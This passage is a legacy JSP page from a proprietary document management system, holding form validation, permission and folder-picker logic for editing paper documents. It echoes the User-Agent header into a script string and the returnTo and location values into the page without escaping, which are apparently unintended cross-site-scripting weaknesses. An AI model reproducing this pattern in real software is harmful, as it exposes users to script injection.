<%
/*
 * @(#)EditDmsPaperDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsPaperDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    16/10/2004
    @version          $Revision: 1.49.2.13 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="org.apache.struts.action.ActionErrors"%>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<html:form type="maintDmsDocumentForm"  action="dms/MaintDmsPaperDocument" onsubmit="return(false)">
<html:javascript formName="maintDmsDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  try {
  Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  String documentType  = maintDmsDocumentForm.getDocumentType();
  String opMode = maintDmsDocumentForm.getOpMode();

  ActionErrors actionErrors = (ActionErrors)request.getAttribute(org.apache.struts.Globals.ERROR_KEY);
  boolean hasErrorInPage= (actionErrors !=null);

  Integer targetRootID =  maintDmsDocumentForm.getTargetRootID()==null? rootID : TextUtility.parseIntegerObj(maintDmsDocumentForm.getTargetRootID());
  Integer destinationID = maintDmsDocumentForm.getDestinationID()==null? parentID : TextUtility.parseIntegerObj(maintDmsDocumentForm.getDestinationID());


  List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();

  List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();

  String sCurFunctionCode = maintDmsDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsDocumentForm.getCurFunctionCode();
  if (Utility.isEmpty(sCurFunctionCode)){
    sCurFunctionCode = "SystemFunctionConstant.DMS_EMPTY_FILE";
  }

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  MtmWorkflowRecordObjectLinkDAObject mtmWorkflowRecordObjectLinkDAO=new MtmWorkflowRecordObjectLinkDAObject(sessionContainer,conn);
  DmsDocument currentDocument = new DmsDocument();
  if (!Utility.isEmpty(maintDmsDocumentForm.getID()) && !"null".equals(maintDmsDocumentForm.getID()) ){
    currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsDocumentForm.getID()));
  }

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String location = (String)request.getAttribute("location");

    /*
   *    Update Code Start
   *    Author              Jim.Zhou
   *    Date                    2006/04/05
     *  Bug                     #4786
   */
    String browserType = request.getHeader("User-Agent");
  /*
   *    Update Code End
   */
  String permission = request.getParameter("permission");
  if (Utility.isEmpty(permission)){
    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());
  }
  boolean showPermissionFlage = false;
  boolean isPersonalFolder = true;

  String parentPermission ="";

  if (!Utility.isEmpty(parentID) && "null".equals(parentID) &&(Utility.isEmpty(permission)|| "null".equals(permission))) {

    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    parentPermission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, parentID);

  }else{
    parentPermission = permission;
  }

  if(!Utility.isEmpty(rootID)){
      DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
      DmsRoot documentRoot = (DmsRoot) dmsRootDAO.getObjectByID(rootID);
      if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getRootName())) {
          isPersonalFolder = false;
      }
  }
  //joan.xiong update code for EIP-909 by 2006/11/10
  //GlobalConstant.NAV_MODE_VIEW.equals(maintDmsDocumentForm.getNavMode()) ||//delete this condition under
  //joan.xiong update code end
  if (parentPermission.indexOf("S") > 0 && !isPersonalFolder && (GlobalConstant.NAV_MODE_NEW.equals(maintDmsDocumentForm.getNavMode()) ||
  maintDmsDocumentForm.getNavMode() == null ||
  GlobalConstant.NAV_MODE_REFRESH.equals(maintDmsDocumentForm.getNavMode())
  )){
    showPermissionFlage =  true;
  }
%>
<script language="Javascript" src="<%=request.getContextPath()%>/js/FloatingSelectionBox.js" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
<!--
//var tree;
var targetAction = '';
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/04/06
 *  Bug                     #4786
 */
var browserType = "<%=browserType%>";
/*
 *  Update Code End
 */

function OpSelfSave() {
  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    targetAction = '<%=GlobalConstant.OP_MODE_INSERT%>';
  }else{
    targetAction = '<%=GlobalConstant.OP_MODE_UPDATE%>';
  }
   if (document.maintDmsDocumentForm.destinationPath.value=="") {
          alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

  <%if (showPermissionFlage){%>
    savePermission();
    if(!document.maintDmsDocumentForm.inheritanceFlag.checked&
      (document.maintDmsDocumentForm.allPermissionData.value==null||document.maintDmsDocumentForm.allPermissionData.value==""))
      {
      if(!confirm("<bean:message key='dms.messge.confirm_not_setting_permission'/>")){
        showTab('permissionTab');
        return;
      }
    }

    showTab('basicTab');
  <%}%>

  OpCustSave();
  return false;
}

function OpSelfSaveAndNew(){

  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    targetAction = '<%=GlobalConstant.OP_MODE_INSERT_NEW%>';
  }else{
    targetAction = '<%=GlobalConstant.OP_MODE_UPDATE_NEW%>';
  }
  if (document.maintDmsDocumentForm.destinationPath.value=="") {
          alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

  <%if (showPermissionFlage){%>
    savePermission();
    if(!document.maintDmsDocumentForm.inheritanceFlag.checked&
      (document.maintDmsDocumentForm.allPermissionData.value==null||document.maintDmsDocumentForm.allPermissionData.value==""))
      {
      if(!confirm("<bean:message key='dms.messge.confirm_not_setting_permission'/>")){
        showTab('permissionTab');
        return;
      }
    }

    showTab('basicTab');
  <%}%>

  OpCustSave();
  return false;

}
function OpCustSave() {
<%if (!isPersonalFolder){%>
  if(document.maintDmsDocumentForm.effectiveStartDate.value == null || document.maintDmsDocumentForm.effectiveStartDate.value == '') {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "errors.required", MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.effective_start_date"))%>");
    return (false);
  }
  if (compareDate(document.maintDmsDocumentForm.effectiveStartDate, document.maintDmsDocumentForm.effectiveEndDate, true) > -1){
    alert("<bean:message key='dms.message.end_date_earlier_than_start_date'/>");
    return (false);
  }
<%}%>
  //Validate General Document Info and UDF Profile
  if (document.maintDmsDocumentForm.createPhysicalFile) {
    if( document.maintDmsDocumentForm.createPhysicalFile.value == 'false' && document.maintDmsDocumentForm.uploadFile.value == '') {
      alert("<bean:message key='dms.message.file_name'/>");
      return (false);
    }
  }

  if(document.maintDmsDocumentForm.referenceNo.value==null||document.maintDmsDocumentForm.referenceNo.value==''){
     alert("<bean:message key='workflow.message.doc_reference_no_is_required'/>");
     return (false);
  }

  if (!ValidateForm(document.maintDmsDocumentForm) || !ValidateUDF() ) {
    return(false);
  }

  if (document.maintDmsDocumentForm.elements['ID'].value == null || document.maintDmsDocumentForm.elements['ID'].value == '' ) {
    document.maintDmsDocumentForm.createType.value="<%=DmsOperationConstant.DMS_CREATE_BY_SYSTEM%>";
    document.maintDmsDocumentForm.navMode.value='';
    document.maintDmsDocumentForm.opMode.value=targetAction;
    document.maintDmsDocumentForm.parentID.value=document.maintDmsDocumentForm.destinationID.value;
    document.maintDmsDocumentForm.rootID.value=document.maintDmsDocumentForm.targetRootID.value;
    document.maintDmsDocumentForm.action="MaintDmsPaperDocument.do";
    document.maintDmsDocumentForm.submit();

  } else {
    document.maintDmsDocumentForm.navMode.value='';
    //joan.xiong update code for bug EIP-212 2006/10/09
    //document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.OP_MODE_UPDATE%>";
    if(targetAction !=null && targetAction !=''){
        document.maintDmsDocumentForm.opMode.value=targetAction;
    }else{
        document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.OP_MODE_UPDATE%>";
    }
    //joan.xiong update code end
    document.maintDmsDocumentForm.parentID.value=document.maintDmsDocumentForm.destinationID.value;
    document.maintDmsDocumentForm.rootID.value=document.maintDmsDocumentForm.targetRootID.value;
    document.maintDmsDocumentForm.action="MaintDmsPaperDocument.do";
    document.maintDmsDocumentForm.submit();
  }


  return false;
}


 function hideBlock(b) {
   FindObj(b).style.display = "none";
 }

 function showBlock(b) {
   FindObj(b).style.display = "block";
 }
 function showTab(b) {
   j = 0;
   var layers = new Array(5);
   if (FindObj('basicTab')){
     layers[j++] = FindObj('basicTab');
   }
   if (FindObj('permissionTab')){
     layers[j++] = FindObj('permissionTab');
   }

   for (i=0;i<j;i++) {
     if (layers[i].id == b){
       if ( b == "bindTab" ) {
              layers[i].style.display = 'block';
              layers[i].style.display = 'none';
       } else {
         layers[i].style.display = 'block';
       }
      if( document.getElementById(layers[i].id + "AA") ){
        document.getElementById(layers[i].id + "AA").style.color ="#0000AA";
      }
   } else{
     layers[i].style.display = 'none';
     if(document.getElementById(layers[i].id + "AA")){
       document.getElementById(layers[i].id + "AA").style.color ="#000000";
     }
   }
 }
 if ( b != "bindTab" ) {
   if (document.getElementById("overDiv")) {
     document.getElementById("overDiv").style.display = 'none';
   }
 } else {
   if (document.getElementById("overDiv")) {
     document.getElementById("overDiv").style.display = 'block';
   }
 }
}



function getDetail(){
    document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  //document.maintDmsDocumentForm.action="MaintDmsCompoundDocument.do?opMode=<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.maintDmsDocumentForm.submit();
}

function ValidateUDF(){

  if (document.maintDmsDocumentForm.fieldID!=null) {

    for ( var i=0; i<document.maintDmsDocumentForm.fieldID.length; ++i ) {
      var udfDetailID = document.maintDmsDocumentForm.fieldID[i].value;
      var udfDetailValue = "";
      var udfDetailFieldName = document.maintDmsDocumentForm.fieldName[i].value;
      var MandatoryMessage = "<bean:message key='errors.dms.value_is_required'/>" + " " + udfDetailFieldName + "!";
      var NumberMessage = udfDetailFieldName + " " + "<bean:message key='errors.dms.valus_must_be_float'/>" + "!";
            /*
             *  Update Code Start
             *  Author              Jim.Zhou
             *  Date                    2006/04/05
             *  Bug                     #4786
             */
            /*
            if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value
      }
            */
            if (browserType.indexOf("Firefox") != -1) {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_Number_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_String_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_SDB_"+udfDetailID].value;
                }
            } else {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value;
                }
            }
            /*
             *  Update Code End
             */

      //Check for UDF Mandatory field's value
      if ( document.maintDmsDocumentForm.fieldMandatory[i].value == 'true') {

       if (udfDetailValue=='') {
          alert(MandatoryMessage);
          return false;
       }
      }
      //Check for Numeric UDF Field
      if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>'){
        if ((udfDetailValue!='') && (!parseFloat(udfDetailValue) || isNaN(udfDetailValue)) ){
          alert(NumberMessage);
          return false;
        }
      }
    }
  }

  return true;
}

function rootChangeSubmit(parentID, rootID) {
  document.maintDmsDocumentForm.navMode.value='';
  document.maintDmsDocumentForm.documentType.value='<%=DmsDocument.PAPER_DOC_TYPE%>';
  document.maintDmsDocumentForm.parentID.value=parentID;
  document.maintDmsDocumentForm.destinationID.value=parentID;
  document.maintDmsDocumentForm.targetRootID.value=rootID;
  document.maintDmsDocumentForm.rootID.value=rootID;
  document.maintDmsDocumentForm.curFunctionCode.value='<%=(isPersonalFolder ? "DMS_PERSONAL_FOLDER" : "DMS_PUBLIC_FOLDER")%>';
  document.maintDmsDocumentForm.action="MaintDmsPaperDocument.do";
  document.maintDmsDocumentForm.submit();

}


function alertNoCompoundDoc(){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function alertNoPaperDoc(){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert (alertMessage);
}

var documentNameHasModified = false;
function autoFillDocumentName(frm) {
  if(!documentNameHasModified){
    frm.referenceNo.value = frm.documentName.value;
  }
}

-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>

<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>

<html:hidden property="emailAttachment"/>
<html:hidden property="directURL"/>
<%if (showPermissionFlage){%>
  <html:hidden property='setPermission' value ="TRUE"/>
<%}%>


<!-- Page Title Section -->
<%String functionType = "";
  if (Utility.isEmpty(documentType)){
    functionType = "dms.label.document_name";
  }else{
    functionType = "dms.label.doc_type_"+documentType;
  }%>

<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" functionType='<%=functionType%>'/></font>
<layout:returnButton>
    <%String returnTo = maintDmsDocumentForm.getReturnTo();
      if(!Utility.isEmpty(returnTo)){%>
      <%=returnTo%>
    <%}else if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)){%>
       ListDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&rootID=<%=rootID%>&parentID=<%=parentID%>
    <%}else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)){%>
       ListDmsPublicDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&rootID=<%=rootID%>&parentID=<%=parentID%>
    <%}else if(SystemFunctionConstant.DMS_PAPER_DOCUMENT.equals(sCurFunctionCode)){%>
      ListDmsPaperDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&rootID=<%=rootID%>&parentID=<%=parentID%>
    <%}else{%>
            <%
            /*
             *  Update Code Start
             *  Author          Jim.Zhou
             *  Date                2006/05/11
             *  Bug                 #5346
             */
            %>
      <!--ListDmsDocument.do?opMode=<%=ACTION_MODE%>&rootID=<%=rootID%>&parentID=<%=parentID%>-->
      ListDmsPaperDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>&rootID=<%=rootID%>&parentID=<%=parentID%>
            <%
            /*
             *  Update Code End
             */
            %>
    <%}%>
</layout:returnButton>
</layout:titleFormat>




<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<!--show tab table start-->
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
  <td colspan="2">
    <table width="130"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" onclick="javascript:showTab('basicTab');">
      <tr>
        <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
        <td id="basicTabAA" width="120" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px;color:#0000AA"><bean:message key="workflow.label.base_tab"/></td>
        <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
      </tr>
  </table>
  </td>
  <td>
  <%if (showPermissionFlage){%>
    <table width="130"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" onclick="javascript:showTab('permissionTab');">
      <tr>
        <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
        <td id="permissionTabAA" width="120" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px;color:#000000"><bean:message key="workflow.label.permission_tab"/></td>
        <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
      </tr>
    </table>
    <%}%>
  </td>



  <td>

  </td>

  </tr>
  </table>
  </td>
</tr>

<!--show tab table end -->
<tr><td colspan="6">
<!-- Basic Tab DIV -->
<div id="basicTab"  style="display:block" border="0" >
<table bgcolor="#727272" height="450" width="100%" cellpadding="0" cellspacing="1" border="0"><tr><td bgcolor="#FFFFFF" valign="top">
<table width="100%" cellpadding="2" cellspacing="2" border="0" align="left" >
<!-- Section Header -->
  <tr>
  <% if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
  <td valign="top">
  <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "MaintDmsPaperDocument";
%>
<script language="JavaScript">
<!--

function refreshByFolderPicker(rootID, parentID){
  document.maintDmsDocumentForm.destinationID.value=parentID;
  document.maintDmsDocumentForm.targetRootID.value=rootID;
  document.maintDmsDocumentForm.parentID.value=parentID;
  document.maintDmsDocumentForm.rootID.value=rootID;
  document.maintDmsDocumentForm.submit();
}

function handleTreeNodeGeneralDoc(docID,rootID){
  //var targetLoc = tree.getFullPathString();
  //document.maintDmsDocumentForm.destinationPath.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.maintDmsDocumentForm.destinationID.value=docID;
  document.maintDmsDocumentForm.targetRootID.value=rootID;
  document.maintDmsDocumentForm.parentID.value=docID;
  document.maintDmsDocumentForm.rootID.value=rootID;
  document.maintDmsDocumentForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeNodePaperDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeNodeFormDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeNodeFlowDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function setHiddenValue(destinationID, targetRootID, path) {
  document.maintDmsDocumentForm.destinationPath.value=replaceSpecialChar(path);
  document.maintDmsDocumentForm.destinationID.value=destinationID;
  document.maintDmsDocumentForm.targetRootID.value=targetRootID;
  document.maintDmsDocumentForm.parentID.value=destinationID;
  document.maintDmsDocumentForm.rootID.value=targetRootID;
  document.maintDmsDocumentForm.submit();
}
function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var path   = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, path); break;
    default : alert("not support document type("+node.tp+")");
  }
}
//-->
</script>
  <select name="publicRootList" style="width:170px; font-family:Arial; font-size:8pt;"
    onchange="javascript:changeRoot(this.value);">
    <logic:present name="publicRootList">
      <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
        <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID())? "selected" : "")%> >
          <bean:write name="dmsRoot" property="rootName"/>
        </option>
      </logic:iterate>
    </logic:present>
  </select>
  <script language="javascript">
  <!--
    var divHeight = GetInnerHeight() - 210;
    document.write('<div id="treeFrame" style="border:1px solid #CCCCCC;position:relative;left:0px;top:0px;width:170px;height:' + divHeight + 'px;z-index:1;overflow:auto;">');
  -->
  </script>
  <dms:tree name='<%="paperdoc"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
  <script language="javascript">
  <!--
    document.write('</div>');
  -->
  </script>
<!-- Hierarchy Tree End -->
  </td>
  <td width="10"><html:img src='LayoutSpacer.gif'  width='10'/></td>
  <%}%>
  <td valign="top">

  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <%String sectionLabel = "dms.label.doc_info";
    if (!Utility.isEmpty(documentType)){
      sectionLabel = sectionLabel + "_" + documentType;
    }
    if (!Utility.isEmpty(request.getParameter("userDefinedFieldID")) && !"null".equals(request.getParameter("userDefinedFieldID")) ) {
      maintDmsDocumentForm.setUserDefinedFieldID(request.getParameter("userDefinedFieldID"));
    }

    %>
  <layout:sectionHeader name='<%=sectionLabel%>'/>
  <!-- User Defined Field Selection -->
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.user_defined_index'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <html:select property='userDefinedFieldID' onchange='getDetail()'>
      <html:options dbListName='dmsUserDefinedIndexList'/>
    </html:select>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
    <td class="formFieldSmall" >
    <!--joan.xiong update code for bug EIP-163 by 2006/09/25 -->
    <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsDocumentForm.getNavMode())){%>
    <input type="hidden" name="refreshPaperEditFlag" value="true">
    <dms:folderPicker property="destinationPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID.toString()%>" hiddenParentIDValue="<%=destinationID.toString()%>" size="50" allowCompoundDoc="false" allowPaperDoc="false" allowEmailDoc="false"/><br>
    <font class="bodyVerySmall"><bean:message key='dms.message.choose_target_destination_folder'/></font>
    <%}else{%>
    <%=location%>
    <%}%>
    <!-- joan.xiong update code end -->
    </td>
  </tr>
  <%if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {         %>
  <%   //New Document Selection
       if (Utility.isEmpty(maintDmsDocumentForm.getID())) {%>
  <tr>
    <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="dms.label.name_label_D"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <html:text property='documentName' size='40' maxlength='100' onkeyup='autoFillDocumentName(this.form)'/>
    <!-- <html:text property='documentName' size='40' maxlength='100' /> -->

    <!--<html:checkbox property="createPhysicalFile" value="false"/><bean:message key="dms.message.has_upload_file"/>  -->
    </td>
